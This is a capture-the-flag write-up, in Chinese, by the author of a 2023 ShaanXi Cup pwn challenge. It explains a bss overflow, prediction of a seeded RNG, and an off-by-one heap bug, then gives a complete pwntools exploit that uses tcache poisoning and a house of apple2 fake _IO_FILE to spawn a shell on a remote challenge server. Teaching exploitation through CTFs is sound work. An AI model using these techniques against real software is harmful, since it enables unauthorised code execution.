2023 ShaanXiCup Write Up

笔者这里就只记录了我出的题。其他题解可以前往当时比赛平台。

PWN By Comentropy

Information_System

bss段溢出修改登录账号和密码分别为root,t00r,然后根据如下函数得到随机数初始种子为

( time(0) - (time(0) % 100) ) ^ 0xdeadbeef 这一步主要是对时间戳取整,防止因为延迟问题导致时间获取无法相同,之后在根据验证要求得到随机数即可绕过。

之后就是常规的堆利用菜单题,但是没有edit,会使利用更复杂一些,而且在malloc的堆的大小也不是任意的,这需要根据三种大小选择合适的key,以满足可以实现chunk extend and overlap。漏洞点在read里会额外输入一个字节,即off-by-one,

根据add得到key需要满足:(这里我只是举一个例子,当然结果不唯一);

key + key + 0x50 + 0x10 = key * 4

key + 0x50 + 0x10 >= 0x90

得到key应该为0x30即key = 3

接下来就是通过堆重叠来实现泄露libc基地址(unsorted_bin),泄露堆地址(tcache),再通过修改tcache堆块的指针实现任意地址写。

在高版本glibc中移除了各种hook,导致往__malloc_hook写入one_gadget已经成为过去式(题目用的是Ubuntu22.04的常用版本glibc,也随附件给出)。所以这里我选择往_IO_list_all写入堆地址,在结合已有堆块构造fake_IO_File,通过house of apple2的手法实现getshell;

因为限制了堆的大小范围和堆的数量,所以布置合适的堆风水是该题的关键,在使用unsortbin的时候需要将同大小的tcache填满,所以我选择使用这些paddding的堆来构造fake_IO_File,因为一个堆的大小不满足构造一个IO_File,所以需要通过两个堆来实现,这里需要注意堆地址的连续性和先后性,因为从tcache中是后入先出的,所以构造fake_IO的时候需要反着实现,(这里也可以使用其他方式,笔者只是抛砖引玉一下。)

最后说一下,因为避免将地址存在b'\n'从而无法写入的情况出现,我在read里并没有删除掉b'\n',所以输入的时候注意避免将b'\n'写入覆盖关键值,从而导致程序异常。

完整exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time

from ctypes import *
from ckyan.pwn.my_script import *

local = 0
debug = 1

binary = "./pwn"

if binary != "":
    elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "121.196.192.181"
    port = "10002"
    p = remote(ip, port)
    lib = "./libc.so.6"

init(lib, binary, p)
context = init_context("tmux", debug)
dll = cdll.LoadLibrary(lib)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name     = lambda obj : [name for name in globals() if globals()[name] is obj][0]
set_libc = lambda buf : set_libc_base_and_log(name(buf), buf)
lg       = lambda buf : log_addr(name(buf), buf)

t = int(time.time())
seed = t - (t % 100)

dll.srand(seed ^ 0xdeadbeef)

# login
ru(b"Input your name: ")
sl(b"a" * 16 + b"root\x00")

ru(b'Input your password: ')
sl(b'a' * 16 + b't00r\x00')

ru(b'Enter the verification code: ')

seed2 = dll.rand()

dll.srand(seed2)
key1 = dll.rand()
key2 = dll.rand()

sl(str((key1 ^ key2) >> 6))

# D()

# key
ru(b'Input your key: ')
sl(str(3))

# heap
def cmd(c):
   sla(b'Your choice: ', str(c))

def add(idx, size, content):
    cmd(1)
    sla("Enter the index: ", str(idx))
    sla("Your choice: ", str(size))
    sa("Enter the information: ", content)

def dele(idx):
    cmd(2)
    sla("Enter the index: ", str(idx))

def show(idx):
    cmd(3)
    sla("Enter the index: ", str(idx))

def bye():
    cmd(5)

# key = 0x30
# 1 => (key + 8) ; 2 => (key + 0x50) ; 3 => (key * 4)

unsorted_bin_offset = 96
main_arena_offset = 0x219c80

add(0, 1, b'aaaa\n')
add(1, 1, b'bbbb\n')
add(2, 2, b'cccc\n')
add(3, 2, b'dddd\n')

dele(0)

pad1 = b''
pad1 += p64(0) * 7
pad1 += p8(4 * 0x30 + 0x10 + 1)

add(0, 1, pad1)

dele(1)
dele(2)

pad2 = b''
pad2 += b'a' * (0x10 * 4 - 1)
pad2 += b'\n'

add(1, 3, pad2)

show(1)
ru(b'a' * (0x10 * 4 - 1))
ru(b'\n')
heap_base = uu64(r(5)) << 12
lg(heap_base)

tcache_key = heap_base >> 12

dele(1)

pad3 = b''
pad3 += p64(0) * 7
pad3 += p64(0x91) + p64(tcache_key) + b'\n'

add(1, 3, pad3)

add(2, 2, b'aaaa\n')

for i in range(7):
    add(11 - i, 2, b'bbbb\n')

for i in range(7):
    dele(11 - i)

dele(1)
dele(2)

add(1, 3, pad2)
show(1)
ru(b'a' * (0x10 * 4 - 1))
ru(b'\n')

main_arena_addr = r7f() - unsorted_bin_offset
libc_base =  main_arena_addr - main_arena_offset
libc = set_libc(libc_base)

dele(1)

pad3 = b''
pad3 += p64(0) * 7
pad3 += p64(0x91) + p64(main_arena_addr + unsorted_bin_offset) * 2 + b'\n'

add(1, 3, pad3)

# fake_IO

_IO_list_all = libc.sym['_IO_list_all']
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
_lock = libc.address + 0x21ba60 # libc.sym['_IO_stdfile_2_lock']
system_addr = libc.sym['system']

# fake3

# fake_IO_file_3 = b''
# fake_IO_file_3 += p64(0) * 13
# fake_IO_file_3 += p64(system_addr) # 0x68

add(9, 2, b'\x00' * 0x68 + p64(system_addr) + b'\n')

# fake2

fake_IO_file_2_add = b''
fake_IO_file_2_add += p64(0) * 10
fake_IO_file_2_add += p64(heap_base + 0x7a0) + b'\n' # fake3 ; chunk9

add(8, 2, fake_IO_file_2_add)

# fake_IO_file_2 = b''
# fake_IO_file_2 += p64(0) * 28 
# fake_IO_file_2 += p64(heap_base) # 0xe0

add(7, 2, b'\x00' * 0x70 + b'\n') # 0x80

# fake1

fake_IO_file_add = b''
fake_IO_file_add += p64(0) * 2
fake_IO_file_add += p64(heap_base + 0x680) + p64(0) # fake2 ; chunk7
fake_IO_file_add += p64(0) * 5 + p64(_IO_wfile_jumps) + b'\n'

add(6, 2, fake_IO_file_add)

fake_IO_file = b''
fake_IO_file += p64(uu64(b"  sh;")) + p64(1)
fake_IO_file = fake_IO_file.ljust(0x28, b'\x00')
fake_IO_file += p64(1)

# fake_IO_file = fake_IO_file.ljust(0xa0, b'\x00')
# fake_IO_file += p64(heap_base) # 2

# fake_IO_file = fake_IO_file.ljust(0xd8, b'\x00')
# fake_IO_file += p64(_IO_wfile_jumps)

add(5, 2, fake_IO_file + p64(0) * 4 + b'\n') # 0x80

# over!

add(10, 2, b'bbbb\n')
add(11, 2, b'bbbb\n') # tcache 

add(2, 2, b'aaaa\n')

dele(1)
dele(11)
dele(2)

# tcache: 2 -> 0xf

pad4 = b''
pad4 += b'a' * (0x10 * 4)
pad4 += p64(_IO_list_all ^ tcache_key)
pad4 += b'\n'

add(1, 3, pad4)

add(2, 2, b'aaaa\n')

pad5 = b''
pad5 += p64(heap_base + 0x560) # fake1 ; chunk5
pad5 += p64(0)
pad5 += b'\n'

add(4, 2, pad5)

# D()

bye()

sh()
updatedupdated2023-09-102023-09-10
加载评论